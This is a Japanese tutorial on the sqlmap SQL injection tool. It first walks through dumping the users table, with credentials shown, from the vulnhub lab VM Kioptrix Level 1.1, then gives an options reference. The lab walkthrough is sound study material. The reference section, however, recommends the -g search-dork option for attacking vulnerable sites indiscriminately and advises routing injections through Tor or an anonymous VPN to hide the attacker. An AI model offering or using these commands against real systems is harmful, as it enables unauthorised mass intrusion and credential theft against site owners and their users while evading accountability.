sqlmapの使い方

sqlmapはPythonで書かれたSQLインジェクションツールで、WindowsやLinux、Mac、*BSDなどPythonが使える環境で動作します。

sqlmapはSQLの知識がなくても誰でも簡単にSQLインジェクションを実行できる点で優れており、ペネトレーションテストや実際のハッキングでも使われるデファクトスタンダードなツールです。

まずは実際にsqlmapを使う流れを紹介し、その後でオプションの紹介をしたいと思います。

sqlmapを使ってみる

攻撃対象としてvulnhubの「KIOPTRIX: LEVEL 1.1 (#2)」を使います。

vulnhubは脆弱性のある仮想マシンを無料でダウンロードすることができるコミュニティサイトです。ダウンロードした仮想マシンはVMWareやVirtualBoxで動作させることができます。

ハッキングツールの使い方を学ぶにはもってこいの環境ですので、ぜひ試してみてください。

今回選んだ「KIOPTRIX: LEVEL 1.1 (#2)」はSQLインジェクションが可能なWEBアプリケーションが動いています。

KIOPTRIX: LEVEL 1.1 (#2)

URLとパラメーターを調べる

URLは分かっているのでパラメーターを調べましょう。WEBアプリケーションにパラメーターを渡すには「GETメソッド」と「POSTメソッド」の2種類あります。

GETメソッドのパラメーターはURLに含まれます。https://example.com/?id=1 のようなものがGETメソッドによるパラメーター指定です。GETメソッドは手軽なのですが、セキュリティ上の問題でPOSTメソッドのデータ送信でパラメーターを渡すことがあります。

今回の環境はPOSTメソッドでパラメーターを渡しています。メソッドや具体的なパラメーター名などはHTMLソースを見るなりBurpSuiteのようなプロキシツールを使うなり、ご自身のやりやすい方法で調べてください。

「KIOPTRIX: LEVEL 1.1 (#2)」についてはHTMLソースを見れば一発で分かります。

「method=”post”」となっているのでPOSTメソッドです。そしてパラメーターは「uname」と「psw」です。

最初にパラメーターを指定して実行してみましょう。POSTメソッドの場合は「--data」オプションでパラメーターを送信します。

$ sqlmap -u http://192.168.0.39 --data "uname=a&psw=b"

実行すると次のように尋ねられるので「Y」あるいはエンターキーを押します。
注意:デフォルトキーは大文字で表示されるので、今回はエンターキーを押すと「Y」と同じ意味になります

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]

そうすると「POST parameter ‘psw’ does not seem to be injectable」と表示されSQLインジェクションができないといった旨の警告がでます。

[WARNING] POST parameter ‘uname’ does not seem to be injectable

しかしその下を見ると次のように表示されています。

[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for ‘--level’/’--risk’ options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option ‘--tamper’ (e.g. ‘--tamper=space2comment’) and/or switch ‘--random-agent’

では「--level」と「--risk」を最大にしてみましょう。「--level」は最大値が「5」で「--risk」は最大値が「3」です。

$ sqlmap -u http://192.168.0.38 --data "uname=a&psw=b" --level 5 --risk 3

どうやらMySQLが動いているようです。このまま「Y」で進めます。

heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

しばらく待つと次のように「uname」パラメーターがインジェクション可能であると表示されます。これ以上は不要なので「N」で進めましょう。

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

SQLインジェクションが可能であると分かったので、どのようなデータベースが存在するのか調べます。これは「--dbs」オプションを使います。

$ sqlmap -u http://192.168.0.38 --data "uname=a&psw=b" --level 5 --risk 3 --dbs

実行するとデータベース名が表示されました。

[INFO] retrieved: webapp
available databases [1]:
[*] webapp

ではデータベース「webapp」にどのようなテーブルが存在するのか調べます。これは「--tables」オプションを使います。データベース名は「-D」オプションで指定します。

$ sqlmap -u http://192.168.0.38 --data "uname=a&psw=b" --level 5 --risk 3 -D webapp --tables

実行するとテーブルを取得できないというメッセージが表示されています。「N」で進めましょう。

[WARNING] unable to retrieve the number of tables for database 'webapp'
[INFO] fetching number of tables for database 'webapp'
[INFO] retrieved:
[INFO] retrieved:
[ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] N
No tables found

もう一度実行して、今度は「do you want to use common table existence check? [y/N/q]」で「y」と入力して進めます。今度はうまくいきました。

[1 table]
+-------+
| users |
+-------+

それではこのテーブルの中身を表示します。「-T」オプションでテーブルを指定し「--dump」オプションを使ってテーブル内容を表示させます。

$ sqlmap -u http://192.168.0.39 --data "uname=a&psw=b" --level 5 --risk 3 -D webapp -T users --dump

ユーザー名とパスワードを引き出して表示させることに成功しました。

Database: webapp
Table: users
[2 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | 5afac8d85f | admin |
| 2 | 66lajGGbla | john |
+----+------------+----------+

これが基本的なsqlmapの使い方です。

sqlmapのパラメーター

sqlmapは多くのパラメーターがありますがすべて使うわけではないので、よく使うものを中心にご紹介します。

ターゲットの指定

-u | --url

通常は「-u」あるいは「--url」オプションでURLを指定します。

$ sqlmap -u https://example.com/?id=1

-g

「-g」オプションで検索エンジンの検索結果に対して順次実行することもできます。引数には検索文字を入れます。たとえば「site:example.com filetype:php inurl:id」と検索するとexample.comドメインでPHPを実行しておりURLに「id」を含むURLを検索します。

この検索結果すべてに対してsqlmapを実行する場合は次のようにします。

$ sqlmap -g "site:example.com filetype:php inurl:id" --batch

特定のWEBアプリケーションにぜい弱性があることが分かっていて一網打尽に攻撃を仕掛ける、あるいはSQLインジェクションを起こしそうなサイトを無差別的に攻撃する場合に適しています。

なお「--batch」は後で出てきますが、sqlmapからYES/NOを尋ねられた際にすべてデフォルトの応答を自動的におこなうためのオプションです。

リクエストオプション

-A | --agent

User-Agentを指定したい場合に使います。

$ sqlmap -u https://example.com/?id=1 --dbs -A "myUser-Agent"

-H | --header

HTTPヘッダーを指定します。プロキシサーバーで使われる「X-Forwarded-For」やAkamaiで使われる「True-client-IP」を使うと興味深い動作をすることがあります。

$ sqlmap -u https://example.com/?id=1 --dbs -H "X-Forwarded-For: 127.0.0.1"

--data

POSTメソッドでデータを送信するときに使います。使い方は冒頭でご紹介したとおりです。

--cookie

クッキーを送信したい場合に使います。

$ sqlmap -u https://example.com/?id=1 --dbs --cookie="PHPSESSID=682dos0637qu0g1l8clhs9sv7a"

--referer

リファラを送信したい場合に使います。遷移元のページURLをチェックしているWEBアプリケーションで有効です。

$ sqlmap -u https://example.com/?id=1 --dbs --referer="https://example.com/login.php"

--ignore-proxy

システム設定されているプロキシを使いたくない場合に指定します。

$ sqlmap -u https://example.com/?id=1 --dbs --ignore-proxy

--proxy

プロキシを通してsqlmapを実行したい場合に使います。

$ sqlmap -u https://example.com/?id=1 --dbs --proxy=http://127.0.0.1:8080

--tor

Tor経由でsqlmapを実行したい場合に指定します。Tor経由の場合は動作が遅くなります。遅延が大きいと正しく動作しない場合があるのでご注意ください。

$ sqlmap -u https://example.com/?id=1 --dbs --tor

Tor経由でSQLインジェクションがうまくいかない場合は匿名VPNで通信を匿名化することも検討してみてください。

--tor-port

Torのポート番号がデフォルト設定と異なる場合にポート番号を指定します。

$ sqlmap -u https://example.com/?id=1 --dbs --tor --tor-port=9999

--tor-type

Torは通常SOCKS5で動作していますが、HTTPやSOCK4で動作している場合はオプションで指定します。

$ sqlmap -u https://example.com/?id=1 --dbs --tor --tor-type=SOCKS4

--check-tor

Torを正しく使用しているか実行時に確認します。

$ sqlmap -u https://example.com/?id=1 --dbs --tor --check-tor

検出オプション

--level

レベルは1~5まであり、デフォルトは1です。

SQLインジェクション可能なポイントの検出が難しい場合はレベルを上げる必要があります。HTTPクッキーはレベル2からテストされ、User-AgentやRefererはレベル3からテストされます。

レベルについて詳細に知りたい場合、Kali Linuxであれば以下のディレクトリに定義ファイルが格納されているのでご覧ください。

/usr/share/sqlmap/data/xml/payloads/

--risk

リスクレベルは1~3まであり、デフォルトは1です。リスクレベルを3にするとデータベースのテーブルが更新される場合があるので注意してください。

レベル内容
1多くの場合ターゲットに害を及ぼさないSQLインジェクションを実行する
2デフォルトに加えて大量のTime-Based Blind SQLインジェクションを実行する
3検出レベルは上がるがターゲットのシステムに損害を与える可能性のあるハイリスクな手法を使う

リスクレベルについて詳細に知りたい場合、Kali Linuxであれば以下のディレクトリに定義ファイルが格納されているのでご覧ください。

/usr/share/sqlmap/data/xml/payloads/

コメントを残す

メールアドレスが公開されることはありません。

日本語が含まれない投稿は無視されますのでご注意ください。(スパム対策)